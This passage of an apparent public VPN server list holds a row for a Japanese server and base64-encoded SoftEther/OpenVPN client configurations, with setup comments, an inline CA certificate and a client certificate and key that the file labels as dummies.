uDQojIA0KIyBUaGUgQ0EgY2VydGlmaWNhdGUgZmlsZSBpcyBlbWJlZGRlZCBpbiB0aGUgaW5saW5lIGZvcm1hdC4NCiMgWW91IGNhbiByZXBsYWNlIHRoaXMgQ0EgY29udGVudHMgaWYgbmVjZXNzYXJ5Lg0KIyBQbGVhc2Ugbm90ZSB0aGF0IGlmIHRoZSBzZXJ2ZXIgY2VydGlmaWNhdGUgaXMgbm90IGEgc2VsZi1zaWduZWQsIHlvdSBoYXZlIHRvDQojIHNwZWNpZnkgdGhlIHNpZ25lcidzIHJvb3QgY2VydGlmaWNhdGUgKENBKSBoZXJlLg0KDQo8Y2E+DQotLS0tLUJFR0lOIENFUlRJRklDQVRFLS0tLS0NCk1JSUZhekNDQTFPZ0F3SUJBZ0lSQUlJUXo3RFNRT05aUkdQZ3UyT0Npd0F3RFFZSktvWklodmNOQVFFTEJRQXcNClR6RUxNQWtHQTFVRUJoTUNWVk14S1RBbkJnTlZCQW9USUVsdWRHVnlibVYwSUZObFkzVnlhWFI1SUZKbGMyVmgNCmNtTm9JRWR5YjNWd01SVXdFd1lEVlFRREV3eEpVMUpISUZKdmIzUWdXREV3SGhjTk1UVXdOakEwTVRFd05ETTQNCldoY05NelV3TmpBME1URXdORE00V2pCUE1Rc3dDUVlEVlFRR0V3SlZVekVwTUNjR0ExVUVDaE1nU1c1MFpYSnUNClpYUWdVMlZqZFhKcGRIa2dVbVZ6WldGeVkyZ2dSM0p2ZFhBeEZUQVRCZ05WQkFNVERFbFRVa2NnVW05dmRDQlkNCk1UQ0NBaUl3RFFZSktvWklodmNOQVFFQkJRQURnZ0lQQURDQ0Fnb0NnZ0lCQUszb0pIUDBGRGZ6bTU0clZ5Z2MNCmg3N2N0OTg0a0l4dVBPWlhvSGozZGNLaS92VnFidllBVHlqYjNtaUdiRVNUdHJGai9SUVNhNzhmMHVveG15RisNCjBUTTh1a2oxM1huZnM3ai9FdkVobWt2QmlvWnhhVXBtWm15UGZqeHd2NjBwSWdiejVNRG1nSzdpUzQrM21YNlUNCkE1L1RSNWQ4bVVnalUrZzRyazhLYjRNdTBVbFhqSUIwdHRvdjBEaU5ld053SVJ0MThqQTgrbyt1M2RwanErc1cNClQ4S09FVXQrend2by83VjNMdlN5ZTByZ1RCSWxESENOQXltZzRWTWs3QlBaN2htL0VMTktqRCtKbzJGUjNxeUgNCkI1VDBZM0hzTHVKdlc1aUI0WWxjTkhsc2R1ODdrR0o1NXR1a21pOG14ZEFRNFE3ZTJSQ09GdnUzOTZqM3grVUMNCkI1aVBOZ2lWNStJM2xnMDJkWjc3RG5LeEhadThBL2xKQmRpQjNRVzBLdFpCNmF3QmRwVUtEOWpmMWIwU0h6VXYNCktCZHMwcGpCcUFsa2QyNUhON3JPckZsZWFKMS9jdGFKeFFaQktUNVpQdDBtOVNUSkVhZGFvMHhBSDBhaG1iV24NCk9sRnVoanVlZlhLbkVnVjRXZTArVVhnVkN3T1BqZEF2QmJJK2Uwb2NTM01GRXZ6RzZ1QlFFM3hEazNTenluVG4NCmpoOEJDTkF3MUZ0eE5yUUh1c0V3TUZ4SXQ0STdtS1o5WUlxaW95bUN6THE5Z3dRYm9vTURRYUhXQmZFYndyYncNCnFIeUdPMGFvU0NxSTNIYWFkcjhmYXFVOUdZL3JPUE5rM3NnckRRb28vL2ZiNGhWQzFDTFFKMTNoZWY0WTUzQ0kNCnJVN20yWXM2eHQwblVXNy92R1QxTTBOUEFnTUJBQUdqUWpCQU1BNEdBMVVkRHdFQi93UUVBd0lCQmpBUEJnTlYNCkhSTUJBZjhFQlRBREFRSC9NQjBHQTFVZERnUVdCQlI1dEZubWU3Ymw1QUZ6Z0FpSXlCcFk5dW1iYmpBTkJna3ENCmhraUc5dzBCQVFzRkFBT0NBZ0VBVlI5WXFieXlxRkRRRExIWUdta2dKeWtJckdGMVhJcHUrSUxsYVMvVjlsWkwNCnViaHpFRm5USVpkKzUweHgrN0xTWUswNXFBdnFGeUZXaGZGUURsbnJ6dUJaNmJySkZlK0duWStFZ1BiazZaR1ENCjNCZWJZaHRGOEdhVjBueHZ3dW83N3gvUHk5YXVKL0dwc01pdS9YMSttdm9pQk92LzJYL3FrU3Npc1JjT2ovS0sNCk5GdFkyUHdCeVZTNXVDYk1pb2d6aVV3dGhEeUMzKzZXVndXNkxMdjN4TGZIVGp1Q3ZqSElJbk56a3RIQ2dLUTUNCk9SQXpJNEpNUEorR3NsV1lIYjRwaG93aW01N2lhenRYT29Kd1Rkd0p4NG5MQ2dkTmJPaGRqc252enF2SHU3VXINClRrWFdTdEFtek9WeXlnaHFwWlhqRmFIM3BPM0pMRitsKy8rc0tBSXV2dGQ3dStOeGU1QVcwd2RlUmxOOE53ZEMNCmpOUEVscHpWbWJVcTRKVWFnRWl1VERrSHpzeEhwRktWSzdxNCs2M1NNMU45NVIxTmJkV2hzY2RDYitaQUp6VmMNCm95aTNCNDNualRPUTV5T2YrMUNjZVd4RzFiUVZzNVp1ZnBzTWxqcTRVaTAvMWx2aCt3akNoUDRrcUtPSjJxeHENCjRSZ3FzYWhEWVZ2VEg5dzdqWGJ5TGVpTmRkOFhNMnc5VS90N3kwRmYvOXlpMEdFNDRaYTRyRjJMTjlkMTFUUEENCm1SR3VuVUhCY25XRXZnSkJRbDluSkVpVTBac252Z2MvdWJoUGdYUlI0WHEzN1owajRyN2cxU2dFRXp3eEE1N2QNCmVteVB4Z2NZeG4vZVI0NC9LSjRFQnMrbFZEUjN2ZXlKbStrWFE5OWIyMS8ramg1WG9zMUFuWDVpSXRyZUdDYz0NCi0tLS0tRU5EIENFUlRJRklDQVRFLS0tLS0NCg0KPC9jYT4NCg0KDQojIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjDQojIFRoZSBjbGllbnQgY2VydGlmaWNhdGUgZmlsZSAoZHVtbXkpLg0KIyANCiMgSW4gc29tZSBpbXBsZW1lbnRhdGlvbnMgb2YgT3BlblZQTiBDbGllbnQgc29mdHdhcmUNCiMgKGZvciBleGFtcGxlOiBPcGVuVlBOIENsaWVudCBmb3IgaU9TKSwNCiMgYSBwYWlyIG9mIGNsaWVudCBjZXJ0aWZpY2F0ZSBhbmQgcHJpdmF0ZSBrZXkgbXVzdCBiZSBpbmNsdWRlZCBvbiB0aGUNCiMgY29uZmlndXJhdGlvbiBmaWxlIGR1ZSB0byB0aGUgbGltaXRhdGlvbiBvZiB0aGUgY2xpZW50Lg0KIyBTbyB0aGlzIHNhbXBsZSBjb25maWd1cmF0aW9uIGZpbGUgaGFzIGEgZHVtbXkgcGFpciBvZiBjbGllbnQgY2VydGlmaWNhdGUNCiMgYW5kIHByaXZhdGUga2V5IGFzIGZvbGxvd3MuDQoNCjxjZXJ0Pg0KLS0tLS1CRUdJTiBDRVJUSUZJQ0FURS0tLS0tDQpNSUlDeGpDQ0FhNENBUUF3RFFZSktvWklodmNOQVFFRkJRQXdLVEVhTUJnR0ExVUVBeE1SVmxCT1IyRjBaVU5zDQphV1Z1ZEVObGNuUXhDekFKQmdOVkJBWVRBa3BRTUI0WERURXpNREl4TVRBek5EazBPVm9YRFRNM01ERXhPVEF6DQpNVFF3TjFvd0tURWFNQmdHQTFVRUF4TVJWbEJPUjJGMFpVTnNhV1Z1ZEVObGNuUXhDekFKQmdOVkJBWVRBa3BRDQpNSUlCSWpBTkJna3Foa2lHOXcwQkFRRUZBQU9DQVE4QU1JSUJDZ0tDQVFFQTVoMmxnUVFZVWp3b0tZSmJ6VlpBDQo1VmNJR2Q1b3RQYy9xWlJNdDBLSXRDRkEwczlSd1JlTlZhOWZEUkZMUkJoY0lUT2x2M0ZCY1czRThoMVVzN1JEDQo0VzhHbUplOHphcEpuTHNEMzlPU01SQ3paSm5jelc0T0NIMVBaUlpXS3FEdGpsTmNhOUFGOGE2NWpUbWxEeENRDQpDam50TElXazVPTExWa0Z0OS90U2NjMUdEdGNpNTVvZmhhTkFZTVBpSDdWOCsxZzY2cEdIWEFvV0s2QVFWSDY3DQpYQ0tKbkdCNW5sUStIc01ZUFYvTzQ5TGQ5MVpOLzJ0SGtjYUxMeU50eXd4VlBSU3NSaDQ4MGpqdTBmY0NzdjZoDQpwLzB5WG5UQi8vbVd1dEJHcGRVbElid2lJVGJBbXJzYlluamlnUnZuUHFYMVJOSlViaTlGcDZDMmMvSElGSkdEDQp5d0lEQVFBQk1BMEdDU3FHU0liM0RRRUJCUVVBQTRJQkFRQ2hPNWhnY3cvNG9XZm9FRkx1OWtCYTFCLy9reEg4DQpoUWtDaFZObjhCUkM3WTBVUlFpdFBsM0RLRWVkOVVSQkRkZzJLT0F6NzdiYjZFTlBpbGlEK2EzOFVKSElSTXFlDQpVQkhobGxPSEl6dkRoSEZiYW92QUxCUWNlZUJ6ZGtReHNLUUVTS21RbVI4MzI5NTBVQ292b3lSQjYxVXlBVjdoDQorbVpoWVBHUktYS1NKSTZzMEVnZy9DcmkrQ3drNGJqSmZyYjVoVnNlMTF5aDREOU1IaHdTZkNPSCswejRoUFVUDQpGa3U3ZEdhdlVSTzVTVnhNbi9zTDZFbjVEK29TZVhrYWRIcERzK0FpcnltMllIaDE1aDAralBTT29SNnlpVnAvDQo2elplWmtyTjQza3VTNzNLcEtERmpmRlBoOHQ0cjFnT0lqdHRrTmNRcUJjY3VzbnBsUTdISnBzaw0KLS0tLS1FTkQgQ0VSVElGSUNBVEUtLS0tLQ0KDQo8L2NlcnQ+DQoNCjxrZXk+DQotLS0tLUJFR0lOIFJTQSBQUklWQVRFIEtFWS0tLS0tDQpNSUlFcEFJQkFBS0NBUUVBNWgybGdRUVlVandvS1lKYnpWWkE1VmNJR2Q1b3RQYy9xWlJNdDBLSXRDRkEwczlSDQp3UmVOVmE5ZkRSRkxSQmhjSVRPbHYzRkJjVzNFOGgxVXM3UkQ0VzhHbUplOHphcEpuTHNEMzlPU01SQ3paSm5jDQp6VzRPQ0gxUFpSWldLcUR0amxOY2E5QUY4YTY1alRtbER4Q1FDam50TElXazVPTExWa0Z0OS90U2NjMUdEdGNpDQo1NW9maGFOQVlNUGlIN1Y4KzFnNjZwR0hYQW9XSzZBUVZINjdYQ0tKbkdCNW5sUStIc01ZUFYvTzQ5TGQ5MVpODQovMnRIa2NhTEx5TnR5d3hWUFJTc1JoNDgwamp1MGZjQ3N2NmhwLzB5WG5UQi8vbVd1dEJHcGRVbElid2lJVGJBDQptcnNiWW5qaWdSdm5QcVgxUk5KVWJpOUZwNkMyYy9ISUZKR0R5d0lEQVFBQkFvSUJBRVJWN1g1QXZ4QTh1UmlLDQprOFNJcHNEMGRYMXBKT01Jd2FrVVZ5dmM0RWZOMERoS1JOYjRyWW9TaUVHVEx5ekxweUJjL0EyOERsa201ZU9ZDQpmanpYZllrR3RZaS9GdHhrZzNPOXZjck1RNCs2aSt1R0hhSUwyckwrczRNcmZPOHYxeHY2K1dreTMzRUVHQ291DQpRaXdWR1JGUVhuUm9RNjJOQkNGYlVOTGhtWHdkajFha1p6TFU0cDVSNHpBM1FoZHh3RUlhdFZMdDArN293TFEzDQpsUDhzZlhocHBQT1hqVHFNRDRRa1l3elBBYTgvekY3YWNuNGtyeXJVUDdRNlBBZmQwekVWcU55OVpDWjlmZmhvDQp6WGVkRmo0ODZJRm9jNWduVHAyTjZqc25WajRMQ0dJaGxWSGxZR296S0tGcUpjUVZHc0hDcXExb3oyempXNkxTDQpvUllJSGdFQ2dZRUE4elpya0N3TllTWEp1T0RKM20vaE9MVnhjeGdKdXdYb2lFcldkMEU0MnZQYW5qalZNaG50DQpLWTVsOHFHTUo2RmhLOUxZeDJxQ3JmL0UwWHRVQVoyd1ZxM09SVHlHbnNNV3JlOXRMWXM1NVgrWk4xMFRjNzV6DQo0aGFjYlUwaHFLTjFIaURtc01SWTMvMk5hWkhveTdNS253SkpCYUc0OGw5Q0NUbFZ3TUhvY0lFQ2dZRUE4amJ5DQpkR2p4VEgrNlhIV05pemI1U1JiWnhBbnlFZUplUndUTWgwZ0d6d0dQcEgvc1pZR3p5dTBTeVNYV0NuWmgzUmdxDQo1dUxsTnh0clhybGpabHlpMm5RZFFnc3EyWXJXVXMwK3pnVSsyMnVRc1pwU0FmdG1oVnJ0dmV0Nk1qVmpiQnlZDQpEQURjaUVWVWRKWUlYaytxbkZVSnllcm9MSWtUajdXWUtaNlJqa3NDZ1lCb0NGSXdSRGVnNDJvSzg5UkZtbk9yDQpMeW1OQXE0KzJvTWhzV2xWYjRlaldJV2VBazluYytHWFVmclhzelJoUzAxbVVuVTVyNXlnVXZSY2FyVi9UM1U3DQpUbk1aK0k3WTREZ1dSSURkNTF6bmh4SUJ0WVY1ai9DL3Q4NUhqcU9rSCs4YjZSVGtiY2hhWDNtYXU3ZnBVZmRzDQpGcTBuaElxNDJmaEVPOHNyZllZd2dRS0JnUUN5aGkxTi84dGFSd3BrKzMvSURFelF3amJmZHpVa1dXU0RrOVhzDQpIL3BrdVJIV2ZUTVAzZmxXcUVZZ1cvTFc0MHBlVzJIRHE1aW1kVjgrQWdaeGUvWE1iYWppOUxnd2YxUlkwMDVuDQpLeGFaUXo3eXFIdXBXbExHRjY4RFBIeGtaVlZTYWdEblYvc3p0V1g2U0ZzQ3FGVm54SVhpZlhHQzRjVzVObTlnDQp2YThxNFFLQmdRQ0VoTFZlVWZkd0t2a1o5NGcvR0Z6NzMxWjJocmRWaGdNWmFVL3U2dDBWOTUrWWV6UE5DUVpCDQp3bUU5TW1sYnExZW1EZVJPaXZqQ2ZvR2hSM2taWFcxcFRLbExoNlpNVVFVT3BwdGRYdmE4WHhmb3FRd2EzZW5BDQpNN211QmJGMFhON1ZPODBpSlB2K1BtSVpkRUlBa3B3S2ZpMjAxWUIrQmFmQ0l1R3hJRjUwVmc9PQ0KLS0tLS1FTkQgUlNBIFBSSVZBVEUgS0VZLS0tLS0NCg0KPC9rZXk+DQoNCg== +vpn306025841,143.189.226.118,591075,1,951041025,Japan,JP,22,1000,11830,7901401511405,2weeks,DESKTOP-TPFP0OT's owner,,IyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIw0KIyBPcGVuVlBOIDIuMCBTYW1wbGUgQ29uZmlndXJhdGlvbiBGaWxlDQojIGZvciBQYWNrZXRpWCBWUE4gLyBTb2Z0RXRoZXIgVlBOIFNlcnZlcg0KIyANCiMgISEhIEFVVE8tR0VORVJBVEVEIEJZIFNPRlRFVEhFUiBWUE4gU0VSVkVSIE1BTkFHRU1FTlQgVE9PTCAhISENCiMgDQojICEhISBZT1UgSEFWRSBUTyBSRVZJRVcgSVQgQkVGT1JFIFVTRSBBTkQgTU9ESUZZIElUIEFTIE5FQ0VTU0FSWSAhISENCiMgDQojIFRoaXMgY29uZmlndXJhdGlvbiBmaWxlIGlzIGF1dG8tZ2VuZXJhdGVkLiBZb3UgbWlnaHQgdXNlIHRoaXMgY29uZmlnIGZpbGUNCiMgaW4gb3JkZXIgdG8gY29ubmVjdCB0byB0aGUgUGFja2V0aVggVlBOIC8gU29mdEV0aGVyIFZQTiBTZXJ2ZXIuDQojIEhvd2V2ZXIsIGJlZm9yZSB5b3UgdHJ5IGl0LCB5b3Ugc2hvdWxkIHJldmlldyB0aGUgZGVzY3JpcHRpb25zIG9mIHRoZSBmaWxlDQojIHRvIGRldGVybWluZSB0aGUgbmVjZXNzaXR5IHRvIG1vZGlmeSB0byBzdWl0YWJsZSBmb3IgeW91ciByZWFsIGVudmlyb25tZW50Lg0KIyBJZiBuZWNlc3NhcnksIHlvdSBoYXZlIHRvIG1vZGlmeSBhIGxpdHRsZSBhZGVxdWF0ZWx5IG9uIHRoZSBmaWxlLg0KIyBGb3IgZXhhbXBsZSwgdGhlIElQIGFkZHJlc3Mgb3IgdGhlIGhvc3RuYW1lIGFzIGEgZGVzdGluYXRpb24gVlBOIFNlcnZlcg0KIyBzaG91bGQgYmUgY29uZmlybWVkLg0KIyANCiMgTm90ZSB0aGF0IHRvIHVzZSBPcGVuVlBOIDIuMCwgeW91IGhhdmUgdG8gcHV0IHRoZSBjZXJ0aWZpY2F0aW9uIGZpbGUgb2YNCiMgdGhlIGRlc3RpbmF0aW9uIFZQTiBTZXJ2ZXIgb24gdGhlIE9wZW5WUE4gQ2xpZW50IGNvbXB1dGVyIHdoZW4geW91IHVzZSB0aGlzDQojIGNvbmZpZyBmaWxlLiBQbGVhc2UgcmVmZXIgdGhlIGJlbG93IGRlc2NyaXB0aW9ucyBjYXJlZnVsbHkuDQoNCg0KIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIw0KIyBTcGVjaWZ5IHRoZSB0eXBlIG9mIHRoZSBsYXllciBvZiB0aGUgVlBOIGNvbm5lY3Rpb24uDQojIA0KIyBUbyBjb25uZWN0IHRvIHRoZSBWUE4gU2VydmVyIGFzIGEgIlJlbW90ZS1BY2Nlc3MgVlBOIENsaWVudCBQQyIsDQojICBzcGVjaWZ5ICdkZXYgdHVuJy4gKExheWVyLTMgSVAgUm91dGluZyBNb2RlKQ0KIw0KIyBUbyBjb25uZWN0IHRvIHRoZSBWUE4gU2VydmVyIGFzIGEgYnJpZGdpbmcgZXF1aXBtZW50IG9mICJTaXRlLXRvLVNpdGUgVlBOIiwNCiMgIHNwZWNpZnkgJ2RldiB0YXAnLiAoTGF5ZXItMiBFdGhlcm5ldCBCcmlkZ2luZSBNb2RlKQ0KDQpkZXYgdHVuDQoNCg0KIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIw0KIyBTcGVjaWZ5IHRoZSB1bmRlcmx5aW5nIHByb3RvY29sIGJleW9uZCB0aGUgSW50ZXJuZXQuDQojIE5vdGUgdGhhdCB0aGlzIHNldHRpbmcgbXVzdCBiZSBjb3JyZXNwb25kIHdpdGggdGhlIGxpc3RlbmluZyBzZXR0aW5nIG9uDQojIHRoZSBWUE4gU2VydmVyLg0KIyANCiMgU3BlY2lmeSBlaXRoZXIgJ3Byb3RvIHRjcCcgb3IgJ3Byb3RvIHVkcCcuDQoNCnByb3RvIHVkcA0KDQoNCiMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMNCiMgVGhlIGRlc3RpbmF0aW9uIGhvc3RuYW1lIC8gSVAgYWRkcmVzcywgYW5kIHBvcnQgbnVtYmVyIG9mDQojIHRoZSB0YXJnZXQgVlBOIFNlcnZlci4NCiMgDQojIFlvdSBoYXZlIHRvIHNwZWNpZnkgYXMgJ3JlbW90ZSA8SE9TVE5BTUU+IDxQT1JUPicuIFlvdSBjYW4gYWxzbw0KIyBzcGVjaWZ5IHRoZSBJUCBhZGRyZXNzIGluc3RlYWQgb2YgdGhlIGhvc3RuYW1lLg0KIyANCiMgTm90ZSB0aGF0IHRoZSBhdXRvLWdlbmVyYXRlZCBiZWxvdyBob3N0bmFtZSBhcmUgYSAiYXV0by1kZXRlY3RlZA0KIyBJUCBhZGRyZXNzIiBvZiB0aGUgVlBOIFNlcnZlci4gWW91IGhhdmUgdG8gY29uZmlybSB0aGUgY29ycmVjdG5lc3MNCiMgYmVmb3JlaGFuZC4NCiMgDQojIFdoZW4geW91IHdhbnQgdG8gY29ubmVjdCB0byB0aGUgVlBOIFNlcnZlciBieSB1c2luZyBUQ1AgcHJvdG9jb2wsDQojIHRoZSBwb3J0IG51bWJlciBvZiB0aGUgZGVzdGluYXRpb24gVENQIHBvcnQgc2hvdWxkIGJlIHNhbWUgYXMgb25lIG9mDQojIHRoZSBhdmFpbGFibGUgVENQIGxpc3RlbmVycyBvbiB0aGUgVlBOIFNlcnZlci4NCiMgDQojIFdoZW4geW91IHVzZSBVRFAgcHJvdG9jb2wsIHRoZSBwb3J0IG51bWJlciBtdXN0IHNhbWUgYXMgdGhlIGNvbmZpZ3VyYXRpb24NCiMgc2V0dGluZyBvZiAiT3BlblZQTiBTZXJ2ZXIgQ29tcGF0aWJsZSBGdW5jdGlvbiIgb24gdGhlIFZQTiBTZXJ2ZXIuDQoNCnJlbW90ZSAxNDMuMTg5LjIyNi4xMTggMTE5NQ0KDQoNCiMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMNCiMgVGhlIEhUVFAvSFRUUFMgcHJveHkgc2V0dGluZy4NCiMgDQojIE9ubHkgaWYgeW91IGhhdmUgdG8gdXNlIHRoZSBJbnRlcm5ldCB2aWEgYSBwcm94eSwgdW5jb21tZW50IHRoZSBiZWxvdw0KIyB0d28gbGluZXMgYW5kIHNwZWNpZnkgdGhlIHByb3h5IGFkZHJlc3MgYW5kIHRoZSBwb3J0IG51bWJlci4NCiMgSW4gdGhlIGNhc2Ugb2YgdXNpbmcgcHJveHktYXV0aGVudGljYXRpb24sIHJlZmVyIHRoZSBPcGVuVlBOIG1hbnVhbC4NCg0KO2h0dHAtcHJveHktcmV0cnkNCjtodHRwLXByb3h5IFtwcm94eSBzZXJ2ZXJdIFtwcm94eSBwb3J0XQ0KDQoNCiMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMNCiMgVGhlIGVuY3J5cHRpb24gYW5kIGF1dGhlbnRpY2F0aW9uIGFsZ29yaXRobS4NCiMgDQojIERlZmF1bHQgc2V0dGluZyBpcyBnb29kLiBNb2RpZnkgaXQgYXMgeW91IHByZWZlci4NCiMgV2hlbiB5b3Ugc3BlY2lmeSBhbiB1bnN1cHBvcnRlZCBhbGdvcml0aG0sIHRoZSBlcnJvciB3aWxsIG9jY3VyLg0KIyANCiMgVGhlIHN1cHBvcnRlZCBhbGdvcml0aG1zIGFyZSBhcyBmb2xsb3dzOg0KIyAgY2lwaGVyOiBbTlVMTC1DSVBIRVJdIE5VTEwgQUVTLTEyOC1DQkMgQUVTLTE5Mi1DQkMgQUVTLTI1Ni1DQkMgQkYtQ0JDDQojICAgICAgICAgIENBU1QtQ0JDIENBU1Q1LUNCQyBERVMtQ0JDIERFUy1FREUtQ0JDIERFUy1FREUzLUNCQyBERVNYLUNCQw0KIyAgICAgICAgICBSQzItNDAtQ0JDIFJDMi02NC1DQkMgUkMyLUNCQyBDQU1FTExJQS0xMjgtQ0JDIENBTUVMTElBLTE5Mi1DQkMgQ0FNRUxMSUEtMjU2LUNCQw0KIyAgZGF0YS1jaXBoZXJzOiBzYW1lIGFzIGNpcGhlcg0KIyAgYXV0aDogICBTSEEgU0hBMSBTSEEyNTYgU0hBMzg0IFNIQTUxMiBNRDUgTUQ0IFJNRDE2MA0KIw0KIyBOb3RlOiBUbyBzb2x2ZSBPcGVuVlBOIGNvbXBhdGliaWxpdHkgYnVnDQojIFJlY2VudCB2ZXJzaW9ucyBvZiB0aGUgT3BlblZQTiBhcHAgcmVxdWlyZSBzcGVjaWZ5aW5nIHRoZSAiZGF0YS1jaXBoZXJzIg0KIyBmaWVsZCBpbnN0ZWFkIG9mIHRoZSAiY2lwaGVyIiBmaWVsZC4gSG93ZXZlciwgb2xkZXIgdmVyc2lvbnMgb2YgdGhlIE9wZW5WUE4gYXBwDQojIGRvIG5vdCByZWNvZ25pemUgImRhdGEtY2lwaGVycy4iIFJhdGhlciB0aGFuIGlnbm9yaW5nIGl0LCB0aGV5IHByb2R1Y2UNCiMgYSBzdGFydHVwIGVycm9yIHN0YXRpbmcgdGhhdCAibm8gc3VjaCBvcHRpb24gZXhpc3RzLiIgVGhpcyBpcyBhIGJ1Zw0KIyBpbiBPcGVuVlBOLiBJZiB5b3UgZW5jb3VudGVyIHRoaXMgaXNzdWUsIHBsZWFzZSBjb21tZW50IG91dA0KIyB0aGUgImRhdGEtY2lwaGVycyIgbGluZS4NCg0KY2lwaGVyIEFFUy0xMjgtQ0JDDQpkYXRhLWNpcGhlcnMgQUVTLTEyOC1DQkMNCmF1dGggU0hBMQ0KDQoNCiMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMNCiMgT3RoZXIgcGFyYW1ldGVycyBuZWNlc3NhcnkgdG8gY29ubmVjdCB0byB0aGUgVlBOIFNlcnZlci4NCiMgDQojIEl0IGlzIG5vdCByZWNvbW1lbmRlZCB0byBtb2RpZnkgaXQgdW5sZXNzIHlvdSBoYXZlIGEgcGFydGljdWxhciBuZWVkLg0KDQpyZXNvbHYtcmV0cnkgaW5maW5pdGUNCm5vYmluZA0KcGVyc2lzdC1rZXkNCnBlcnNpc3QtdHVuDQpjbGllbnQNCnZlcmIgMw0KI2F1dGgtdXNlci1wYXNzDQoNCg0KIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIw0KIyBUaGUgY2VydGlmaWNhdGUgZmlsZSBvZiB0aGUgZGVzdGluYXRpb24gVlBOIFNlcnZlci4NCiMgDQojIFRoZSBDQSBjZXJ0aWZpY2F0ZSBmaWxlIGlzIGVtYmVkZGVkIGluIHRoZSBpbmxpbmUgZm9ybWF0Lg0KIyBZb3UgY2FuIHJlcGxhY2UgdGhpcyBDQSBjb250ZW50cyBpZiBuZWNlc3NhcnkuDQojIFBsZWFzZSBub3RlIHRoYXQgaWYgdGhlIHNlcnZlciBjZXJ0aWZpY2F0ZSBpcyBub3QgYSBzZWxmLXNpZ25lZCwgeW91IGhhdmUgdG8NCiMgc3BlY2lmeSB0aGUgc2lnbmVyJ3Mgcm9vdCBjZXJ0aWZpY2F0ZSAoQ0EpIGhlcmUuDQoNCjxjYT4NCi0tLS0tQkVHSU4gQ0VSVElGSUNBVEUtLS0tLQ0KTUlJRmF6Q0NBMU9nQXdJQkFnSVJBSUlRejdEU1FPTlpSR1BndTJPQ2l3QXdEUVlKS29aSWh2Y05BUUVMQlFBdw0KVHpFTE1Ba0dBMVVFQmhNQ1ZWTXhLVEFuQmdOVkJBb1RJRWx1ZEdWeWJtVjBJRk5sWTNWeWFYUjVJRkpsYzJWaA0KY21Ob0lFZHliM1Z3TVJVd0V3WURWUVFERXd4SlUxSkhJRkp2YjNRZ1dERXdIaGNOTVRVd05qQTBNVEV3TkRNNA0KV2hjTk16VXdOakEwTVRFd05ETTRXakJQTVFzd0NRWURWUVFHRXdKVlV6RXBNQ2NHQTFVRUNoTWdTVzUwWlhKdQ0KWlhRZ1UyVmpkWEpwZEhrZ1VtVnpaV0Z5WTJnZ1IzSnZkWEF4RlRBVEJnTlZCQU1UREVsVFVrY2dVbTl2ZENCWQ0KTVRDQ0FpSXdEUVlKS29aSWh2Y05BUUVCQlFBRGdnSVBBRENDQWdvQ2dnSUJBSzNvSkhQMEZEZnptNTRyVnlnYw0KaDc3Y3Q5ODRrSXh1UE9aWG9IajNkY0tpL3ZWcWJ2WUFUeWpiM21pR2JFU1R0ckZqL1JRU2E3OGYwdW94bXlGKw0KMFRNOHVrajEzWG5mczdqL0V2RWhta3ZCaW9aeGFVcG1abXlQZmp4d3Y2MHBJZ2J6NU1EbWdLN2lTNCszbVg2VQ0KQTUvVFI1ZDhtVWdqVStnNHJrOEtiNE11MFVsWGpJQjB0dG92MERpTmV3TndJUnQxOGpBOCtvK3UzZHBqcStzVw0KVDhLT0VVdCt6d3ZvLzdWM0x2U3llMHJnVEJJbERIQ05BeW1nNFZNazdCUFo3aG0vRUxOS2pEK0pvMkZSM3F5SA0KQjVUMFkzSHNMdUp2VzVpQjRZbGNOSGxzZHU4N2tHSjU1dHVrbWk4bXhkQVE0UTdlMlJDT0Z2dTM5NmozeCtVQw0KQjVpUE5naVY1K0kzbGcwMmRaNzdEbkt4SFp1OEEvbEpCZGlCM1FXMEt0WkI2YXdCZHBVS0Q5amYxYjBTSHpVdg0KS0JkczBwakJxQWxrZDI1SE43ck9yRmxlYUoxL2N0YUp4UVpCS1Q1WlB0MG05U1RKRWFkYW8weEFIMGFobWJXbg0KT2xGdWhqdWVmWEtuRWdWNFdlMCtVWGdWQ3dPUGpkQXZCYkkrZTBvY1MzTUZFdnpHNnVCUUUzeERrM1N6eW5Ubg0Kamg4QkNOQXcxRnR4TnJRSHVzRXdNRnhJdDRJN21LWjlZSXFpb3ltQ3pMcTlnd1Fib29NRFFhSFdCZkVid3Jidw0KcUh5R08wYW9TQ3FJM0hhYWRyOGZhcVU5R1kvck9QTmszc2dyRFFvby8vZmI0aFZDMUNMUUoxM2hlZjRZNTNDSQ0KclU3bTJZczZ4dDBuVVc3L3ZHVDFNME5QQWdNQkFBR2pRakJBTUE0R0ExVWREd0VCL3dRRUF3SUJCakFQQmdOVg0KSFJNQkFmOEVCVEFEQVFIL01CMEdBMVVkRGdRV0JCUjV0Rm5tZTdibDVBRnpnQWlJeUJwWTl1bWJiakFOQmdrcQ0KaGtpRzl3MEJBUXNGQUFPQ0FnRUFWUjlZcWJ5eXFGRFFETEhZR21r